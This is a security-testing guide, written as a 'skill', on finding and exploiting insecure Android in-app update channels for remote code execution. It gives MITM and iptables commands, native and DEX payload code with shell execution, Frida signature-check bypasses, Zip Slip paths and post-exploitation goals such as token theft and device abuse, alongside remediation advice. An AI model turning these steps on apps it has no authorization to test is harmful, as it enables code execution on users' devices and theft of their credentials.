Android Insecure In-App Update Audit
This skill helps security professionals identify and exploit insecure in-app update mechanisms in Android applications that could lead to remote code execution (RCE).
When to Use This Skill
Use this skill when:
- Assessing Android apps for security vulnerabilities
- Looking for insecure plugin or dynamic feature update channels
- Analyzing apps that implement custom update mechanisms instead of Google Play Store updates
- Testing for RCE via malicious plugin injection
- Auditing automotive, IoT, or medical device companion apps
- Reviewing apps with custom network endpoints for updates, plugins, or patches
Quick Triage Checklist
Start by checking if the app has an in-app updater:
Static Analysis (JADX/apktool)
Look for these indicators:
String patterns:
update,plugin,patch,upgrade,hotfix,bundle,feature,asset,zip
Network endpoints:
/update,/plugins,/getUpdateList,/GetUpdateListEx
Crypto helpers near update paths:
- DES/AES/RC4 implementations
- Base64 encoding/decoding
- JSON/XML serialization
Dynamic loaders:
System.load()System.loadLibrary()dlopen()DexClassLoaderPathClassLoader
Suspicious patterns:
- Unzip operations writing to app-internal or external storage
- Immediate loading of
.soor DEX files after extraction
Runtime Monitoring
Use the Frida hook script to monitor dynamic loading:
frida -U -f com.example.app -l scripts/frida_hooks.js --no-pause
This will log:
- Native library loads (
System.load,System.loadLibrary,Runtime.load) - DEX class loader invocations
- File paths being loaded
Attack Surface Analysis
1. Identify Insecure TLS Configuration
Step 1: Decompile the APK and locate the networking stack (OkHttp, HttpURLConnection, Retrofit).
Step 2: Search for custom TrustManager or HostnameVerifier implementations:
// Vulnerable pattern - trusts all certificates
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
Step 3: If found, the app accepts any TLS certificate. You can run a transparent MITM proxy:
mitmproxy -p 8080 -s scripts/mitmproxy_addon.py
Step 4: Redirect traffic on rooted device/emulator:
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080
2. Reverse-Engineer Update Metadata
Step 1: Identify the crypto routine used for metadata encryption:
- Algorithm (DES/AES/RC4)
- Mode of operation (ECB/CBC/GCM)
- Hard-coded key/IV
Step 2: Use the decryption script to analyze metadata:
python scripts/decrypt_metadata.py \
--algorithm DES \
--mode ECB \
--key "\x2A\x10\x2A\x10\x2A\x10\x2A" \
--input encrypted_metadata.b64 \
--output decrypted.json
Step 3: Examine the decrypted metadata structure:
- Plugin file names
- Download URLs
- Version information
- Hash/signature fields
Common patterns observed (2023-2025):
- JSON-within-XML or protobuf metadata
- Weak ciphers with static keys
- Plain HTTP for payload downloads even with HTTPS metadata
- Plugins unzipping to app-internal storage
3. Craft Test Payloads
Native Library Payload
Create a malicious native library that executes on load:
// payload.c
#include <android/log.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__((constructor))
void init(void) {
__android_log_print(ANDROID_LOG_INFO, "AUDIT", "Test payload loaded! uid=%d", getuid());
// Add test code here - file creation, network calls, etc.
}
Compile for the target architecture:
aarch64-linux-android-gcc -shared -fPIC payload.c -o libtest.so
arm-linux-androideabi-gcc -shared -fPIC payload.c -o libtest_arm.so
Package as a plugin:
zip -r test_plugin.zip libtest.so assets/ meta.txt
DEX-Based Payload
For apps using DexClassLoader:
// src/test/AuditMarker.java
package test;
public class AuditMarker {
static {
try {
Runtime.getRuntime().exec("sh -c 'echo AUDIT_MARKER > /data/data/<pkg>/files/test_marker' ");
} catch (Throwable t) {
t.printStackTrace();
}
}
}
Build the DEX:
javac -source 1.8 -target 1.8 -d out/ src/test/AuditMarker.java
jar cf audit_marker.jar -C out/ .
d8 --output outdex/ audit_marker.jar
cd outdex && zip -r plugin.jar classes.dex
4. Intercept and Modify Updates
Use the mitmproxy addon to intercept update requests:
mitmproxy -p 8080 -s scripts/mitmproxy_addon.py
The addon can:
- Intercept update metadata requests
- Replace with modified metadata pointing to test payloads
- Log all update-related traffic
Host test payloads:
python3 -m http.server 8000 --directory ./test_payloads/
5. Bypass Signature/Hash Checks
If the updater validates signatures or hashes, use Frida to bypass:
frida -U -f com.example.app -l scripts/bypass_checks.js --no-pause
This hooks:
java.security.Signature.verify()- always returns truejava.util.Arrays.equals()- always returns true for byte arrays- Common vendor verification methods
Other Attack Surfaces
Zip Slip Path Traversal
Check if the app properly sanitizes zip entry paths:
// Vulnerable - doesn't validate paths
ZipInputStream zis = new ZipInputStream(new FileInputStream(updateFile));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
File outputFile = new File(extractDir, entry.getName()); // DANGER
// ... extract without validation
}
Test with malicious zip entries:
../../../../data/data/<pkg>/files/target- Absolute paths
- Symlink attacks
External Storage Staging
If the app writes archives to external storage before loading:
- Any other app can tamper with the file
- Scoped Storage (Android 10+) mitigates this
- Check for
requestLegacyExternalStorageusage
Cleartext Downloads
Metadata over HTTPS but payload over HTTP:
- Straightforward MITM swap
- Check network security config for cleartext allowances
Incomplete Signature Checks
Common weaknesses:
- Comparing only a single file hash, not the whole archive
- Not binding signature to developer key
- Accepting any RSA key present in the archive
- Missing version binding in metadata
React Native / Web-Based OTA
If native bridges execute JS from OTA without strict signing:
- Arbitrary code execution in app context
- Insecure CodePush-like flows
- Ensure detached update signing and strict verification
Post-Exploitation Considerations
If you successfully load a malicious plugin:
Credential Theft:
- Session cookies
- OAuth tokens
- JWTs stored by the app
Persistence:
- Plugins cached on disk persist across reboots
- Execute every time the related feature is used
Hardware Abuse:
- Automotive apps: OBD-II/CAN bus commands
- IoT devices: Control connected hardware
- Medical devices: Manipulate device behavior
Privilege Escalation:
- Drop second-stage APK if
REQUEST_INSTALL_PACKAGESis declared - Abuse app's existing permissions (camera, GPS, Bluetooth, filesystem)
- Drop second-stage APK if
Detection & Mitigation Checklist
For Security Assessments
| Check | Status | Notes |
|---|---|---|
| Custom TrustManager found | ☐ | Document if present |
| TLS pinning implemented | ☐ | Check for proper implementation |
| Update metadata encrypted | ☐ | Note algorithm and key handling |
| Signature verification present | ☐ | Test for bypasses |
| Payload integrity checks | ☐ | Hash/signature validation |
| Internal storage only | ☐ | No external storage staging |
| Zip path validation | ☐ | No Zip Slip vulnerability |
| Cleartext traffic blocked | ☐ | Network security config |
For Developers (Remediation)
Prefer Play-Mediated Updates:
- Avoid dynamic code loading when possible
- Use Google Play App Updates API
If Dynamic Plugins Are Required:
- Design as data-only bundles
- Keep executable code in base APK
- Use detached update signing (Ed25519/RSA)
- Verify before loading, fail closed
TLS Configuration:
- No custom trust-all managers
- Deploy certificate pinning where feasible
- Hardened network security config
- Disallow cleartext traffic
Crypto Best Practices:
- Use modern crypto (AES-GCM)
- Per-message nonces for metadata
- No hard-coded keys in clients
- Bind metadata and payload (length, hash, version)
Integrity Validation:
- Verify signature covering every file
- Or minimum: manifest of SHA-256 hashes
- Reject extra/unknown files
Storage Security:
- App-internal storage only
- Scoped storage on Android 10+
- File permissions preventing cross-app tampering
Zip Slip Prevention:
- Normalize and validate zip entry paths
- Reject absolute paths or
..segments - Use allow-lists for extraction paths
Code Transparency:
- Consider Play "Code Transparency"
- Verify shipped DEX/native code matches build
Scripts Reference
decrypt_metadata.py
Decrypts/encrypts update metadata with various algorithms.
python scripts/decrypt_metadata.py --help
frida_hooks.js
Monitors dynamic code loading in real-time.
frida -U -f com.example.app -l scripts/frida_hooks.js --no-pause
mitmproxy_addon.py
Intercepts and modifies update traffic.
mitmproxy -p 8080 -s scripts/mitmproxy_addon.py
bypass_checks.js
Bypasses signature and hash verification.
frida -U -f com.example.app -l scripts/bypass_checks.js --no-pause
References
- NowSecure – Remote Code Execution in Xtool AnyScan
- Android Developers – Dynamic Code Loading Risks
- OWASP Mobile Top 10 – M2: Improper Platform Usage
Important Notes
- Authorization Required: Only test apps you own or have explicit authorization to assess
- Legal Compliance: Ensure all testing complies with applicable laws and regulations
- Safety First: When testing automotive/medical device apps, ensure no harm can come to users or equipment
- Documentation: Document all findings with evidence for remediation
- Responsible Disclosure: Follow responsible disclosure practices for vulnerabilities found in third-party apps